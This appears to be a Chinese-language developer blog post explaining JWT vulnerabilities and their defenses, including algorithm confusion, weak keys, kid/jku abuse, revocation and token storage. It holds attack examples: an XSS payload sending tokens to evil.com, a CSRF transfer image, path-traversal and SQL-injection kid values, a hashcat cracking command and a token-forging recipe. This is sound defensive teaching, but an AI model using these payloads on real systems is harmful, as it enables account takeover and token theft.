ToolAct

JWT 為什麼不安全?從演算法混淆到金鑰外洩,我踩過的那些坑

開發工具2026年9月9日18 分鐘閱讀

引子:那個讓我凌晨三點被叫醒的 P0

2021 年的某個週三凌晨 2:47,手機瘋狂震動。監控群裡只有一句話:“預備環境的 admin 介面被未經授權存取了。”

我迷迷糊糊開啟電腦,看日誌:一個剛註冊的普通帳號,拿著自己的 JWT,把 payload 裡的 role 從 user 改成 admin,然後直接調通了後臺的刪除介面。更離譜的是,服務端居然返回了 200 OK。

那一瞬間我腦子嗡的一下——我們不是用了 JWT 嗎?不是“很安全”嗎?怎麼改個欄位就繞過了?

後來覆盤才發現,這根本不是 JWT 的鍋,是我們把 JWT 當成了銀彈。那次故障之後,我把團隊裡所有跟 JWT 相關的程式碼全翻了一遍,越翻越心驚:alg:none 沒禁、金鑰是 123456、前端把 token 扔在 localStorage、過期時間設了 30 天……每一個都是教科書級的反面案例。

今天這篇,就是把這些坑一個個攤開講清楚。JWT 本身是一個非常精巧的設計,但“精巧”恰恰意味著“容錯率低”,一步用錯,就直接送人頭。

先把基礎打牢:JWT 到底是什麼,又不是什麼

很多人張口就是“JWT 加密”,這是第一個致命誤解。JWT 叫 JSON Web Token,它解決的是“怎麼證明這段資料是我發的,且沒被篡改”,而不是“怎麼把資料藏起來”。

一個正常的 JWT 長這樣,用點號分成三段:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjEyMywicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c

拆開看:

  • Header:{"alg":"HS256","typ":"JWT"},宣告“我是用 HS256 籤的”。
  • Payload:{"uid":123,"role":"user"},放業務資料。注意,這裡只是 Base64Url 編碼,任何人都能解。
  • Signature:把前兩段用 Header 裡宣告的演算法 + 金鑰算個簽名,用來防篡改。

說人話:JWT 就是一張“蓋了公章的明信片”。郵遞員、路人都能看到你寫了啥,但只要公章對不上,就說明被人改過。千萬別在明信片上寫銀行卡密碼。

所以,別再往 payload 裡塞 password、phone、idCard 了。我見過最誇張的一次,有人把整個使用者表 SELECT * 的結果塞進 JWT,token 長達 8KB,每次請求都帶著跑,閘道器直接被打滿。

第一類陷阱:演算法混淆——最優雅,也最致命

這是 JWT 漏洞裡最出名的一類,2015 年就被公開,但直到現在還有大量庫預設“信任客戶端傳來的 alg”。

1. 把 alg 改成 none,伺服器居然信了

none 是 JWT 規範裡的一個合法演算法,意思是“不簽名”。它的本意是給不需要簽名的場景用的,比如 JWS 的未保護狀態。但很多不成熟的實現是這麼驗籤的:

// 錯誤示範,請勿模仿
const [headerB64] = token.split('.');
const header = JSON.parse(base64UrlDecode(headerB64));
if (header.alg === 'none') {
  return true; // 直接放行,不驗籤名
} else {
  return verify(token, secret);
}

攻擊就變得極其簡單:把原 token 的 header 改成 {"alg":"none"},把 payload 裡的 role 改成 admin,去掉最後一段簽名,直接發給伺服器——居然透過了。

我第一次在測試環境復現這個漏洞時,手都在抖。改個字串就能當管理員,這比 SQL 注入還輕鬆。

防禦:永遠白名單校驗。服務端必須寫死只接受 HS256 或 RS256 其中之一,遇到 none 直接拒絕。好一點的庫比如 jsonwebtoken 新版已經預設禁用 none,但如果你自己拼字串驗籤,一樣會中招。

2. RS256 和 HS256 的偷天換日:拿公鑰當 HMAC 金鑰

這是演算法混淆裡最陰的一招,很多大廠都栽過。

正常流程:RS256 是非對稱,服務端用私鑰簽名,客戶端/閘道器用公鑰驗籤。HS256 是對稱,籤和驗用同一個金鑰。

漏洞在於:有些庫驗籤時會拿 header.alg 來決定怎麼驗。如果攻擊者把 RS256 的 token 頭改成 HS256,伺服器會怎麼想?

“哦,你說你是 HS256 啊,那我就用 HS256 的方式驗,用‘金鑰’來算 HMAC。” 而這個“金鑰”是什麼?很多實現直接拿 RS256 的公鑰當成了 HS256 的金鑰。

公鑰是公開的啊!攻擊者直接去 /.well-known/jwks.json 把你的公鑰下載下來,當成 HMAC 金鑰去籤一個 HS256 的惡意 token,伺服器用同一個公鑰去驗 HMAC,結果還能對上。

# 攻擊者視角
1. 獲取伺服器 RS256 公鑰(公開的)
2. 構造 header: {"alg":"HS256","typ":"JWT"}
3. 構造 payload: {"uid":1,"role":"admin"}
4. 用公鑰內容當作 HS256 的 secret 去簽名
5. 發給伺服器,驗籤透過

2015 年安全研究員 Tim McLean 就披露過一批庫中招,包括一些 Python、Ruby 的老版本。原理不復雜,但極其隱蔽。

防禦:兩條鐵律:① 驗籤演算法必須由服務端配置決定,不能信任 token 裡的 alg。② RS256 和 HS256 的金鑰/公鑰必須隔離儲存,驗籤邏輯裡顯式指定 algorithms: ['RS256'],別寫 algorithms: ['HS256','RS256'] 這種騷操作。

3. 別信任任何客戶端能改的東西

歸根結底,header.alg 是客戶端可控的。就像你不會信任使用者傳來的 isAdmin=true 一樣,也別信任他傳來的“我是什麼演算法”。

第二類陷阱:金鑰——爛得像紙糊的一樣

演算法選對了,金鑰拉胯,一樣白給。

1. 弱金鑰爆破:123456 當金鑰的不止你一個

HS256 的金鑰強度完全取決於你設多長、隨機不隨機。我用 hashcat 跑過一遍弱金鑰字典,secret、password、123456、jwt_secret,幾秒鐘就爆出來。

更隱蔽的是,有人用公司名縮寫 + 年份當金鑰,比如 acme2023。這跟明文沒區別。JWT 的簽名是確定性的,攻擊者可以離線爆破:拿一個合法 token,不斷猜金鑰去算簽名,對上了就說明猜對了,完全不需要跟伺服器互動。

# 攻擊者離線爆破,給你感受一下
hashcat -a 0 -m 16500 jwt.txt rockyou.txt
# jwt.txt 裡放:eyJhb... + 字典跑,很快

防禦:金鑰至少 32 位元組隨機字串,用 openssl rand -hex 32 生成。別用人類能記住的詞。如果已經上線了弱金鑰,立刻輪換,並讓所有舊 token 失效。

2. 金鑰外洩:GitHub、前端、日誌,全是洩密現場

我審計程式碼時見過最離譜的三種外洩:

  • 前端外洩:把 JWT_SECRET 打包進了前端的 app.js,開啟瀏覽器原始碼就能搜到。前端是敵佔區,任何金鑰放過去都等於公開。
  • GitHub 外洩:直接 commit 了 .env,金鑰是 my_super_secret_123,GitHub 搜尋一下還能找到。
  • 日誌外洩:為了排查問題,把完整 token 列印到日誌,日誌又被 ELK 收集,維運、測試人人可見。token 外洩 = 金鑰外洩的等價物,因為 token 本身就能用。

還有個冷門的:有些框架會把金鑰透過錯誤堆疊外洩,比如驗籤失敗時把 secret 拼進錯誤資訊返回給前端。

防禦:金鑰只存在服務端環境變數或 KMS 裡,定期輪換。前端永遠只存 token,不存金鑰。日誌裡對 token 脫敏,只列印前 10 個字元。

3. kid 引數:一個被遺忘的後門

Header 裡有個可選欄位 kid(Key ID),用來告訴伺服器“你該用哪把金鑰來驗”。很多實現會這麼做:

const kid = header.kid;
const key = getKeyFromDB(kid); // 或者直接拼接檔案路徑
const verified = verify(token, key);

問題來了,如果 getKeyFromDB 沒做校驗,攻擊者可以玩出花:

  • 目錄遍歷:kid = "../../dev/null" 或 kid = "/dev/null",讓伺服器用空檔案當金鑰,空金鑰簽名的 token 隨便偽造。
  • SQL 注入:kid = "1' OR '1'='1",如果 kid 直接拼進 SQL,恭喜你,額外贈送一個 SQL 注入。
  • 任意檔案讀取:有些實現會拿 kid 去拼檔案路徑 /keys/${kid}.pem,攻擊者傳 kid = "../../../../etc/passwd" 就能探測。

我曾在一次滲透測試裡,用 kid = "a" 和暴力列舉,發現伺服器會返回“key not found”的時延差異,藉此列舉出所有合法的 kid。

防禦:對 kid 做嚴格白名單,只允許字母數字和短橫。別用它直接拼路徑或 SQL,用對映表。

4. jku 和 x5u:讓攻擊者幫你指定金鑰地址

更危險的兩個 header 欄位:jku(JWK Set URL)和 x5u(X509 URL)。它們的意思是“我的公鑰在這個 URL 上,你去下載來驗”。如果伺服器信任它們,攻擊者直接把 jku 指向自己的伺服器,伺服器乖乖去下載攻擊者的公鑰來驗攻擊者的 token——永遠能驗過。

防禦:生產環境直接禁用 jku/x5u/x5c。如果業務真的需要,用白名單域名 + 強制 HTTPS + 快取。

第三類陷阱:過期、吊銷與重放——無狀態的代價

JWT 最大的賣點“無狀態”,恰恰是最大的坑。

Session 的吊銷很簡單:伺服器把 session 刪了就行。但 JWT 一旦簽發,在過期前就是一張“無法撤回的支票”。使用者改密碼了、被停權了、token 被偷了,只要 token 還沒過期,攻擊者就能一直用。

我見過把 exp 設成 30 天甚至不過期的,美其名曰“提升使用者體驗,免登入”。結果使用者手機丟了,別人拿著 token 能用一個月。

正確姿勢是“短命 + 可吊銷”:

  • 短過期:accessToken 5-15 分鐘過期,只放最少的身份資訊。
  • Refresh Token 輪換:用一個長一點的 refreshToken(存 httpOnly cookie + 存庫)來換新的 accessToken,每次使用後舊的 refreshToken 作廢。被盜也能快速發現——同一個 refreshToken 被用兩次,直接把該使用者的所有 token 加進黑名單。
  • 黑名單/白名單:登出、改密碼、停權時,把 token 的 jti(JWT ID)塞進 Redis 黑名單,TTL 設為 token 剩餘有效期。驗籤時先查黑名單。這會讓“無狀態”變“有狀態”,但這是必要的妥協。
  • 別忘了校驗 aud、iss、nbf:很多驗籤只看簽名和 exp,aud(受眾)、iss(簽發者)都不看。導致 A 服務籤的 token 能在 B 服務上用。
// 推薦的驗籤配置
jwt.verify(token, publicKey, {
  algorithms: ['RS256'],
  issuer: 'auth.mycompany.com',
  audience: 'api.mycompany.com',
  clockTolerance: 5 // 容忍 5 秒時鐘偏移
});

第四類陷阱:你把 JWT 存在哪,決定了你怎麼死

這是一個經典的前後端扯皮現場。

存哪優點缺點怎麼被偷
localStorage / sessionStorage前端好拿任何 JS 都能讀一個 XSS 就全漏
memory(記憶體變數)關閉標籤就沒重新整理就丟相對安全,但體驗差
httpOnly + Secure + SameSite CookieJS 讀不到,防 XSS會觸發 CSRF需要 CSRF token 配合

我見過最多的錯誤是:為了方便,把 token 扔 localStorage,然後某個評論框沒做 XSS 過濾,攻擊者注入 <img src=x onerror=fetch('https://evil.com?c='+localStorage.getItem('token'))>,所有訪問該頁面的使用者 token 瞬間被收割。

而用 Cookie 也不是萬能:Cookie 會自動帶上,攻擊者誘導使用者點一個連結 <img src="https://api.mycompany.com/transfer?to=attacker&amount=1000">,只要使用者處於登入態,就會帶 Cookie 發請求,這就是 CSRF。

現在業界比較穩的方案:Cookie + 記憶體。把 accessToken 放記憶體,refreshToken 放 httpOnly + Secure + SameSite=Strict 的 Cookie,CSRF 用 SameSite 和額外的 csrfToken 雙重防禦。前端每次重新整理頁面用 refreshToken 換 accessToken。

另外,一定 全站 HTTPS,否則 token 在網路層就是明文,中間人直接抓包。

第五類陷阱:那些“忘了校驗”的欄位

驗籤透過 ≠ 業務透過。很多程式碼驗完簽名就直接 req.user = decoded,但漏了:

  • 沒校驗 exp:庫的預設配置可能不校驗過期,需要手動開。
  • 沒校驗 nbf:“在此時間之前不可用”,不校驗會導致未生效的 token 被提前使用。
  • payload 信任:把 role、isVip 這種權限欄位放 JWT 裡,且完全信任。正確做法是 JWT 只放 uid,權限每次查庫或查快取。
  • 重放:沒有 jti 去重,同一個 token 被截獲後可以反覆重放。我建議對敏感操作(轉帳、改密碼)加一次性 jti 或繫結 jti + ip + ua 指紋。

生產級保命清單:我現在怎麼用 JWT

被坑過幾次後,我給團隊定的 JWT 規範,貼出來你直接抄:

  1. 演算法白名單:程式碼裡寫死 algorithms: ['RS256'],不讀 header 裡的 alg。禁用 none、jku、x5u。
  2. 金鑰要強、要轉:HS256 至少 32 位元組隨機字串,RS256 用 2048 位以上。金鑰放 KMS/環境變數,支援按 kid 輪換,舊金鑰保留 7 天用於驗舊 token。
  3. 短過期 + 更新:access 10 分鐘,refresh 7 天 + 輪換 + 黑名單。登出、改密、停權進黑名單。
  4. 最小 payload:只放 uid、jti、exp、iat,不放敏感資訊。要敏感就用 JWE 加密。
  5. 嚴格校驗:iss、aud、exp、nbf、jti 一個不少。權限不信任 JWT,走服務端查詢。
  6. 儲存:refresh 用 httpOnly Cookie,access 放記憶體。日誌脫敏,全站 HTTPS,CSP 防 XSS。
  7. 可觀測:記錄 jti 的簽發、更新、吊銷鏈路,異常複用立刻告警。

一句話總結:把 JWT 當成“一次性通行證”,而不是“永久身份證”。

寫在最後:JWT 沒有錯,錯的是“無腦信任”

回頭看,JWT 的設計非常剋制:三段式、Base64Url、可選演算法、標準化宣告。它的不安全,幾乎全是“實現層”的懶惰:為了省事信任 alg、為了方便用弱金鑰、為了體驗設超長過期、為了快把權限塞進 payload。

這跟菜刀的道理一樣:菜刀本身不危險,但你閉著眼睛揮,就是會切到手。

如果你現在就在用 JWT,不妨今晚就對著這份清單自查一遍:搜一下程式碼裡有沒有 verify(token, secret) 卻沒傳 algorithms 的地方;搜一下金鑰是不是還在 config.js 裡明文躺著;看一下 token 過期時間是不是以“天”為單位。改掉一個,就是少一個凌晨三點的 P0。

別等到被提權了,才想起這篇文章。